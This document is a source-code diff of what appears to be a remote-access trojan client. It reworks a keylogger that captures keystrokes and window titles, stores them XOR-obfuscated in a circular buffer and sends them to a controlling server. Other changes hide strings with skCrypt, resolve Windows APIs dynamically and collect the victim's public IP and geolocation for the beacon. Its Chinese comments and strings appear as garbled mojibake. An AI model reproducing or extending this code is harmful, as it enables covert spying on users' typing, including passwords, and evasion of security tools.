    //<2F>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʱ<EFBFBD>򣬿<EFBFBD><F2A3ACBF>Բ<EFBFBD><D4B2><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Shift<66>ǲ<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κ<EFBFBD><CEBA>ַ<EFBFBD><D6B7><EFBFBD>
    //<2F>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
    /*
    else if (Key == VK_LSHIFT) // <20><><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>
-    KeyString = "[Shift]";
+    KeyString = skCrypt("[Shift]");
    else if (Key == VK_LSHIFT) // <20>Ҳ<EFBFBD><D2B2>ϵ<EFBFBD><CFB5><EFBFBD>
-    KeyString = "[SHIFT]";
+    KeyString = skCrypt("[SHIFT]");
    */
    /*<2A><><EFBFBD><EFBFBD>ֻ<EFBFBD>ǶԼ<C7B6><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>м<EFBFBD>¼:<3A><><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>*/
    else if (Key == VK_TAB) // <20>Ʊ<EFBFBD><C6B1><EFBFBD>
-        KeyString = "[Tab]";
+        KeyString = skCrypt("[Tab]");
    else if (Key == VK_LCONTROL) // <20><><EFBFBD><EFBFBD><EFBFBD>Ƽ<EFBFBD>
-        KeyString = "[Ctrl]";
+        KeyString = skCrypt("[Ctrl]");
    else if (Key == VK_RCONTROL) // <20>ҿ<EFBFBD><D2BF>Ƽ<EFBFBD>
-        KeyString = "[CTRL]";
+        KeyString = skCrypt("[CTRL]");
    else if (Key == VK_LMENU) // <20>󻻵<EFBFBD><F3BBBBB5><EFBFBD>
-        KeyString = "[Alt]";
+        KeyString = skCrypt("[Alt]");
    else if (Key == VK_LMENU) // <20>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>
-        KeyString = "[ALT]";
+        KeyString = skCrypt("[ALT]");
    else if (Key == VK_LWIN) // <20><> WINDOWS <20><>
-        KeyString = "[Win]";
+        KeyString = skCrypt("[Win]");
    else if (Key == VK_RWIN) // <20><> WINDOWS <20><>
-        KeyString = "[WIN]";
+        KeyString = skCrypt("[WIN]");
    else if (Key == VK_APPS) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>Ҽ<EFBFBD>
-        KeyString = "<EFBFBD>Ҽ<EFBFBD>";
+        KeyString = skCrypt("<EFBFBD>Ҽ<EFBFBD>");
    else if (Key == VK_INSERT) // <20><><EFBFBD><EFBFBD>
-        KeyString = "[Insert]";
+        KeyString = skCrypt("[Insert]");
    else if (Key == VK_DELETE) // ɾ<><C9BE>
-        KeyString = "[Delete]";
+        KeyString = skCrypt("[Delete]");
    else if (Key == VK_HOME) // <20><>ʼ
-        KeyString = "[Home]";
+        KeyString = skCrypt("[Home]");
    else if (Key == VK_END) // <20><><EFBFBD><EFBFBD>
-        KeyString = "[End]";
+        KeyString = skCrypt("[End]");
    else if (Key == VK_PRIOR) // <20><>һҳ
-        KeyString = "[PgUp]";
+        KeyString = skCrypt("[PgUp]");
    else if (Key == VK_NEXT) // <20><>һҳ
-        KeyString = "[PgDown]";
+        KeyString = skCrypt("[PgDown]");
    // <20><><EFBFBD><EFBFBD><EFBFBD>õļ<C3B5><C4BC><EFBFBD><EFBFBD><EFBFBD>:һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>
    else if (Key == VK_CANCEL) // Cancel
-        KeyString = "[Cancel]";
+        KeyString = skCrypt("[Cancel]");
    else if (Key == VK_CLEAR) // Clear
-        KeyString = "[Clear]";
+        KeyString = skCrypt("[Clear]");
    else if (Key == VK_SELECT) //Select
-        KeyString = "[Select]";
+        KeyString = skCrypt("[Select]");
    else if (Key == VK_PRINT) //Print
-        KeyString = "[Print]";
+        KeyString = skCrypt("[Print]");
    else if (Key == VK_EXECUTE) //Execute
-        KeyString = "[Execute]";
+        KeyString = skCrypt("[Execute]");

    //----------------------------------------//
    else if (Key == VK_LEFT) //<2F>ϡ<EFBFBD><CFA1>¡<EFBFBD><C2A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD>
-        KeyString = "[<5B><>]";
+        KeyString = skCrypt("[<5B><>]");
    else if (Key == VK_RIGHT)
-        KeyString = "[<5B><>]";
+        KeyString = skCrypt("[<5B><>]");
    else if (Key == VK_UP)
-        KeyString = "[<5B><>]";
+        KeyString = skCrypt("[<5B><>]");
    else if (Key == VK_DOWN)
-        KeyString = "[<5B><>]";
+        KeyString = skCrypt("[<5B><>]");
    else if (Key == VK_NUMLOCK)//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-        KeyString = "[NumLock]";
+        KeyString = skCrypt("[NumLock]");
    else if (Key == VK_ADD) // <20>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD><CBA1><EFBFBD>
-        KeyString = "+";
+        KeyString = skCrypt("+");
    else if (Key == VK_SUBTRACT)
-        KeyString = "-";
+        KeyString = skCrypt("-");
    else if (Key == VK_MULTIPLY)
-        KeyString = "*";
+        KeyString = skCrypt("*");
    else if (Key == VK_DIVIDE)
-        KeyString = "/";
+        KeyString = skCrypt("/");
    else if (Key == 190 || Key == 110) // С<><D0A1><EFBFBD><EFBFBD> . <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> .
-        KeyString = ".";
+        KeyString = skCrypt(".");
    //С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ּ<EFBFBD>:0-9
    else if (Key == VK_NUMPAD0)
-        KeyString = "0";
+        KeyString = skCrypt("0");
    else if (Key == VK_NUMPAD1)
-        KeyString = "1";
+        KeyString = skCrypt("1");
    else if (Key == VK_NUMPAD2)
-        KeyString = "2";
+        KeyString = skCrypt("2");
    else if (Key == VK_NUMPAD3)
-        KeyString = "3";
+        KeyString = skCrypt("3");
    else if (Key == VK_NUMPAD4)
-        KeyString = "4";
+        KeyString = skCrypt("4");
    else if (Key == VK_NUMPAD5)
-        KeyString = "5";
+        KeyString = skCrypt("5");
    else if (Key == VK_NUMPAD6)
-        KeyString = "6";
+        KeyString = skCrypt("6");
    else if (Key == VK_NUMPAD7)
-        KeyString = "7";
+        KeyString = skCrypt("7");
    else if (Key == VK_NUMPAD8)
-        KeyString = "8";
+        KeyString = skCrypt("8");
    else if (Key == VK_NUMPAD9)
-        KeyString = "9";
+        KeyString = skCrypt("9");
    //-------------------------------------------//

    //-------------------------------------------//
@@ -345,34 +332,34 @@ std::string GetKey(int Key) //
        if(IS) {
            switch(Key) {
            case 48: //0
-                KeyString = ")";
+                KeyString = skCrypt(")");
                break;
            case 49://1
-                KeyString = "!";
+                KeyString = skCrypt("!");
                break;
            case 50://2
-                KeyString = "@";
+                KeyString = skCrypt("@");
                break;
            case 51://3
-                KeyString = "#";
+                KeyString = skCrypt("#");
                break;
            case 52://4
-                KeyString = "$";
+                KeyString = skCrypt("$");
                break;
            case 53://5
-                KeyString = "%";
+                KeyString = skCrypt("%");
                break;
            case 54://6
-                KeyString = "^";
+                KeyString = skCrypt("^");
                break;
            case 55://7
-                KeyString = "&";
+                KeyString = skCrypt("&");
                break;
            case 56://8
-                KeyString = "*";
+                KeyString = skCrypt("*");
                break;
            case 57://9
-                KeyString = "(";
+                KeyString = skCrypt("(");
                break;
            }
        } else
@@ -399,45 +386,24 @@ std::string GetKey(int Key) //
    return KeyString;
 }

-void SaveToFile(TCHAR *strRecordFile, TCHAR *lpBuffer)
-{
-    HANDLE	hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE,
-                               NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
-
-    DWORD dwBytesWrite = 0;
-    DWORD dwSize = GetFileSize(hFile, NULL);
-    if (dwSize < 1024 * 1024 * 50)
-        SetFilePointer(hFile, 0, 0, FILE_END);
-
-
-    // <20><><EFBFBD><EFBFBD>
-    int	nLength = lstrlen(lpBuffer);
-    TCHAR*	lpEncodeBuffer = new TCHAR[nLength];
-    for (int i = 0; i < nLength; i++)
-        lpEncodeBuffer[i] = lpBuffer[i] ^ _T('`');
-    WriteFile(hFile, lpEncodeBuffer, lstrlen(lpBuffer)*sizeof(TCHAR), &dwBytesWrite, NULL);
-    CloseHandle(hFile);
-
-    delete [] lpEncodeBuffer;
-    return;
-}
-
 BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData)
 {
-    HWND hFocus = GetForegroundWindow();
+    GET_PROCESS(DLLS[USER32], GetForegroundWindow);
+    HWND hFocus = (HWND)GetForegroundWindow();
    BOOL ReturnFlag = FALSE;
    if (hFocus != PreviousFocus) {
        if (lstrlen(WindowCaption) > 0) {
            if (hasData) {
                SYSTEMTIME   s;
                GetLocalTime(&s);
-                wsprintf(szText, _T("\r\n[<5B><><EFBFBD><EFBFBD>:] %s\r\n[ʱ<><CAB1>:]%d-%02d-%02d  %02d:%02d:%02d\r\n"),
+                sprintf(szText, _T("\r\n[<5B><><EFBFBD><EFBFBD>:] %s\r\n[ʱ<><CAB1>:]%d-%02d-%02d  %02d:%02d:%02d\r\n"),
                    WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond);
            }
            memset(WindowCaption, 0, CAPTION_SIZE);
            ReturnFlag=TRUE;
        }
        PreviousFocus = hFocus;
+        GET_PROCESS_EASY(SendMessageA);
        SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption);
    }
    return ReturnFlag;
@@ -447,35 +413,56 @@ DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam)
 {
    CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;

+    int pos = 0;
    while(pThis->m_bIsWorking) {
-        DWORD dwSize =0;
-        HANDLE	hFile = CreateFile(pThis->m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
-                                   NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
-
-        if (hFile != INVALID_HANDLE_VALUE) {
-            dwSize = GetFileSize(hFile, NULL);
+        if (!pThis->IsConnected()) {
+            pos = 0;
+            Sleep(1000);
+            continue;
        }
-        CloseHandle(hFile);
-
-        if (pThis->dKeyBoardSize != dwSize) {
-            pThis->sendOfflineRecord(pThis->dKeyBoardSize);
+        int size = 0;
+        char* lpBuffer = pThis->m_Buffer->Read(pos, size);
+        if (size) {
+            int nRet = pThis->sendKeyBoardData((LPBYTE)lpBuffer, size);
+            delete[] lpBuffer;
        }
-
-        Sleep(3000);
+        Sleep(1000);
    }
    return 0;
 }

+
+int CALLBACK WriteBuffer(const char* record, void* user) {
+    CircularBuffer* m_Buffer = (CircularBuffer*)user;
+    m_Buffer->Write(record, strlen(record));
+	return 0;
+}
+
+
 DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
 {
    CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
-
+    MSG msg;
    TCHAR KeyBuffer[2048] = {};
 	TCHAR szText[CAPTION_SIZE] = {};
    TCHAR WindowCaption[CAPTION_SIZE] = {};
    HWND PreviousFocus = NULL;
+    GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
    while(pThis->m_bIsWorking) {
+		if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
+#if USING_KB_HOOK
+            ReleaseHook();
+#endif
+			Sleep(1000);
+			continue;
+		}
        Sleep(5);
+#if USING_KB_HOOK
+		if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
+			return -1;
+		}
+		while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
+#else
        int num = lstrlen(KeyBuffer);
        if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
            bool newWindowInput = strlen(szText);
@@ -489,7 +476,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
                const int offset = sizeof(_T("\r\n[<5B><><EFBFBD><EFBFBD>:]")) - 1;
                memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer));
                memcpy(KeyBuffer, _T("\r\n[<5B><><EFBFBD><EFBFBD>:]"), offset);
-                SaveToFile(pThis->m_strRecordFile, KeyBuffer);
+                pThis->m_Buffer->Write(KeyBuffer, strlen(KeyBuffer));
                memset(KeyBuffer,0,sizeof(KeyBuffer));
            }
        }
@@ -499,6 +486,9 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
                lstrcat(KeyBuffer,TempString.c_str());
            }
        }
+#endif
    }
    return 0;
 }
+
+#endif
--- a/client/KeyboardManager.h
+++ b/client/KeyboardManager.h
@@ -2,34 +2,239 @@
 //
 //////////////////////////////////////////////////////////////////////

-#if !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_)
-#define AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_
-
-#if _MSC_VER > 1000
 #pragma once
-#endif // _MSC_VER > 1000

-#include "..\Manager.h"
+#include "Manager.h"
+#include "stdafx.h"
+
+#define KEYLOG_FILE "keylog.xml"
+
+#if ENABLE_KEYBOARD==0
+#define CKeyboardManager1 CManager
+
+#else
+
+#define BUFFER_SIZE 10*1024*1024
+
+// ѭ<><D1AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+class CircularBuffer {
+private:
+	char* m_buffer;  // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	int m_size;      // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
+	int m_write;     // дָ<D0B4><D6B8>
+	int m_read;      // <20><>ָ<EFBFBD><D6B8>
+	CRITICAL_SECTION m_cs; // <20>߳<EFBFBD>ͬ<EFBFBD><CDAC>
+	char m_key;      // <20><><EFBFBD><EFBFBD> XOR <20>ӽ<EFBFBD><D3BD>ܵ<EFBFBD><DCB5><EFBFBD>Կ
+
+public:
+	// <20><><EFBFBD>캯<EFBFBD><ECBAAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	CircularBuffer(const std::string& filename, int size = BUFFER_SIZE, char key = '`')
+		: m_size(size), m_write(0), m_read(0), m_key(key) {
+		m_buffer = new char[m_size]();
+		InitializeCriticalSection(&m_cs);
+		LoadDataFromFile(filename);
+	}
+
+	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ
+	~CircularBuffer() {
+		DeleteCriticalSection(&m_cs);
+		delete[] m_buffer;
+	}
+
+	// <20><><EFBFBD>ջ<EFBFBD><D5BB><EFBFBD>
+	void Clear() {
+		EnterCriticalSection(&m_cs);
+
+		// <20><><EFBFBD>ö<EFBFBD>дָ<D0B4><D6B8>
+		m_write = 0;
+		m_read = 0;
+		memset(m_buffer, 0, m_size);
+
+		LeaveCriticalSection(&m_cs);
+	}
+
+	// <20><><EFBFBD><EFBFBD>/<2F><><EFBFBD>ܲ<EFBFBD><DCB2><EFBFBD><EFBFBD><EFBFBD>XOR<4F><52>
+	void XORData(char* data, int length) {
+		for (int i = 0; i < length; i++) {
+			data[i] ^= m_key; // <20><><EFBFBD><EFBFBD>Կ<EFBFBD><D4BF><EFBFBD><EFBFBD> XOR <20><><EFBFBD><EFBFBD>
+		}
+	}
+
+	// <20><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	bool LoadDataFromFile(const std::string& filename) {
+		EnterCriticalSection(&m_cs);
+
+		// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
+		HANDLE hFile = CreateFileA(
+			filename.c_str(),           // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
+			GENERIC_READ,                // ֻ<><D6BB>Ȩ<EFBFBD><C8A8>
+			0,                           // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+			NULL,                        // Ĭ<>ϰ<EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
+			OPEN_EXISTING,               // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+			FILE_ATTRIBUTE_NORMAL,       // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
+			NULL                         // <20><><EFBFBD><EFBFBD>Ҫģ<D2AA><C4A3><EFBFBD>ļ<EFBFBD>
+		);
+
+		if (hFile == INVALID_HANDLE_VALUE) {
+			LeaveCriticalSection(&m_cs);
+			Mprintf("Failed to open file '%s' for reading\n", filename.c_str());
+			return false;
+		}
+
+		// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
+		DWORD bytesRead = 0;
+		while (m_write < m_size) {
+			if (!ReadFile(hFile, m_buffer + m_write, m_size - m_write, &bytesRead, NULL) || bytesRead == 0) {
+				break;
+			}
+			XORData(m_buffer + m_write, bytesRead); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+			m_write = (m_write + bytesRead) % m_size;
+		}
+
+		// <20>ر<EFBFBD><D8B1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
+		CloseHandle(hFile);
+
+		LeaveCriticalSection(&m_cs);
+		return true;
+	}
+
+	// д<><D0B4><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD>룩
+	int Write(const char* data, int length) {
+		EnterCriticalSection(&m_cs);
+
+		for (int i = 0; i < length; i++) {
+			m_buffer[m_write] = data[i];
+			m_write = (m_write + 1) % m_size;
+
+			// <20><>дָ<D0B4><D6B8>׷<EFBFBD>϶<EFBFBD>ָ<EFBFBD><D6B8>ʱ<EFBFBD><CAB1>ǰ<EFBFBD>ƶ<EFBFBD>ָ<EFBFBD><D6B8>ʵ<EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>д<EFBFBD><D0B4>
+			if (m_write == m_read) {
+				m_read = (m_read + 1) % m_size;
+			}
+		}
+
+		LeaveCriticalSection(&m_cs);
+		return length; // <20><><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
+	}
+
+	// <20><>ָ<EFBFBD><D6B8>λ<EFBFBD>ÿ<EFBFBD>ʼ<EFBFBD><CABC>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
+	char* Read(int &pos, int &bytesRead) {
+		EnterCriticalSection(&m_cs);
+
+		if (pos == 0) {
+			m_read = m_write + 1;
+			while (m_read < m_size && m_buffer[m_read] == 0) m_read++;
+			if (m_read == m_size) m_read = 0;
+		} else {
+			m_read = pos;
+		}
+		int size = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write));
+		char* outBuffer = size ? new char[size] : NULL;
+		for (int i = 0; i < size; i++) {
+			if (m_read == m_write) { // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>
+				break;
+			}
+			outBuffer[i] = m_buffer[m_read];
+			m_read = (m_read + 1) % m_size;
+			bytesRead++;
+		}
+		pos = m_write;
+
+		LeaveCriticalSection(&m_cs);
+		return outBuffer; // <20><><EFBFBD><EFBFBD>ʵ<EFBFBD>ʶ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
+	}
+
+	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܣ<EFBFBD>
+	bool WriteAvailableDataToFile(const std::string& filename) {
+		EnterCriticalSection(&m_cs);
+
+		// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵĴ<DDB5>С
+		m_read = m_write + 1;
+		while (m_read < m_size && m_buffer[m_read] == 0) m_read++;
+		if (m_read == m_size) m_read = 0;
+		int totalSize = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write));
+
+		if (totalSize == 0) {
+			LeaveCriticalSection(&m_cs);
+			return true;  // û<><C3BB><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>д<EFBFBD><D0B4>
+		}
+
+		// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>Խ<EFBFBD><D4BD><EFBFBD>д<EFBFBD><D0B4>
+		HANDLE hFile = CreateFileA(
+			filename.c_str(),           // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
+			GENERIC_WRITE,               // дȨ<D0B4><C8A8>
+			0,                           // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+			NULL,                        // Ĭ<>ϰ<EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
+			CREATE_ALWAYS,               // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>򸲸<EFBFBD>
+			FILE_ATTRIBUTE_NORMAL,       // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
+			NULL                         // <20><><EFBFBD><EFBFBD>Ҫģ<D2AA><C4A3><EFBFBD>ļ<EFBFBD>
+		);
+
+		if (hFile == INVALID_HANDLE_VALUE) {
+			LeaveCriticalSection(&m_cs);
+			return false;  // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><CAA7>
+		}
+
+		// д<>뻺<EFBFBD><EBBBBA><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+		int bytesWritten = 0;
+		DWORD bytesToWrite = totalSize;
+		const int size = 64*1024;
+		char *buffer = new char[size];
+		while (bytesWritten < totalSize) {
+			DWORD bufferSize = min(bytesToWrite, size);
+
+			// <20><><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
+			for (int i = 0; i < bufferSize && m_read != m_write; ) {
+				buffer[i++] = m_buffer[m_read];
+				m_read = (m_read + 1) % m_size;
+			}
+
+			// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+			XORData(buffer, bufferSize);
+
+			// д<><D0B4><EFBFBD>ļ<EFBFBD>
+			DWORD bytesActuallyWritten = 0;
+			if (!WriteFile(hFile, buffer, bufferSize, &bytesActuallyWritten, NULL)) {
+				CloseHandle(hFile);
+				LeaveCriticalSection(&m_cs);
+				delete[] buffer;
+				return false;  // д<><D0B4>ʧ<EFBFBD><CAA7>
+			}
+
+			bytesWritten += bytesActuallyWritten;
+			bytesToWrite -= bytesActuallyWritten;
+		}
+		delete[] buffer;
+
+		// <20>ر<EFBFBD><D8B1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
+		CloseHandle(hFile);
+		LeaveCriticalSection(&m_cs);
+
+		return true;
+	}
+};

 class CKeyboardManager1 : public CManager
 {
 public:
-    CKeyboardManager1(CClientSocket *pClient, int n=0, void* user = nullptr);
+    CKeyboardManager1(IOCPClient*pClient, int offline, void* user=NULL);
    virtual ~CKeyboardManager1();
+    virtual void Notify();
    virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
    static DWORD WINAPI KeyLogger(LPVOID lparam);
    static DWORD WINAPI SendData(LPVOID lparam);
-
+    BOOL m_bIsOfflineRecord;
    HANDLE m_hWorkThread,m_hSendThread;
-    DWORD dKeyBoardSize;
    TCHAR	m_strRecordFile[MAX_PATH];
 private:
    BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
    int sendStartKeyBoard();
-    int sendOfflineRecord(DWORD	dwRead  = 0);
+
    int sendKeyBoardData(LPBYTE lpData, UINT nSize);

    bool m_bIsWorking;
+	CircularBuffer *m_Buffer;
 };

-#endif // !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_)
+#undef BUFFER_SIZE
+
+#endif
--- a/client/LoginServer.cpp
+++ b/client/LoginServer.cpp
@@ -8,6 +8,7 @@
 #include <NTSecAPI.h>
 #include "common/skCrypter.h"
 #include <common/iniFile.h>
+#include <location.h>

 // by ChatGPT
 bool IsWindows11() {
@@ -253,11 +254,11 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
 	GetModuleFileNameA(NULL, buf, sizeof(buf));
 	LoginInfor.AddReserved(buf);                        // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
 	LoginInfor.AddReserved("?");						// test
-	std::string installTime;
-	auto b = ReadAppSettingA("install_time", installTime);
-	if (!b || installTime.empty()) {
-		installTime = ToPekingTimeAsString(nullptr);;
-		WriteAppSettingA("install_time", installTime);
+	iniFile cfg(CLIENT_PATH);
+	std::string installTime = cfg.GetStr("settings", "install_time");
+	if (installTime.empty()) {
+		installTime = ToPekingTimeAsString(nullptr);
+		cfg.SetStr("settings", "install_time", installTime);
 	}
 	LoginInfor.AddReserved(installTime.c_str());		// <20><>װʱ<D7B0><CAB1>
 	LoginInfor.AddReserved("?");						// <20><>װ<EFBFBD><D7B0>Ϣ
@@ -266,7 +267,11 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
 	std::string masterHash(skCrypt(MASTER_HASH));
 	HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE");
 	hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE");
+#ifndef _DEBUG
 	if (hMutex != NULL) {
+#else
+		{
+#endif
 		CloseHandle(hMutex);
 		config*cfg = conn.pwdHash == masterHash ? new config : new iniFile;
 		str = cfg->GetStr("settings", "Password", "");
@@ -280,6 +285,22 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
 		strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
 	const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
 	memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
+	std::string loc = cfg.GetStr("settings", "location", "");
+	std::string pubIP = cfg.GetStr("settings", "public_ip", "");
+	IPConverter cvt;
+	if (loc.empty()) {
+		std::string ip = cvt.getPublicIP();
+		if (pubIP.empty()) pubIP = ip;
+		loc = cvt.GetGeoLocation(pubIP);
+		cfg.SetStr("settings", "location", loc);
+	}
+	if (pubIP.empty()) {
+		pubIP = cvt.getPublicIP();
+		cfg.SetStr("settings", "public_ip", pubIP);
+	}
+	LoginInfor.AddReserved(loc.c_str());
+	LoginInfor.AddReserved(pubIP.c_str());
+
 	return LoginInfor;
 }

--- a/client/Manager.cpp
+++ b/client/Manager.cpp
@@ -156,7 +156,7 @@ HDESK SelectDesktop(TCHAR* name)
 // Construction/Destruction
 //////////////////////////////////////////////////////////////////////

-CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit)
+CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
 {
 	m_bReady = TRUE;
 	m_ClientObject = ClientObject;
@@ -180,7 +180,7 @@ int CManager::Send(LPBYTE lpData, UINT nSize)
 	int	nRet = 0;
 	try
 	{
-		nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
+		nRet = m_ClientObject->Send2Server((char*)lpData, nSize);
 	}catch(...){
 		Mprintf("[ERROR] CManager::Send catch an error \n");
 	};
--- a/client/Manager.h
+++ b/client/Manager.h
@@ -13,6 +13,7 @@
 #include "IOCPClient.h"

 #define ENABLE_VSCREEN 1
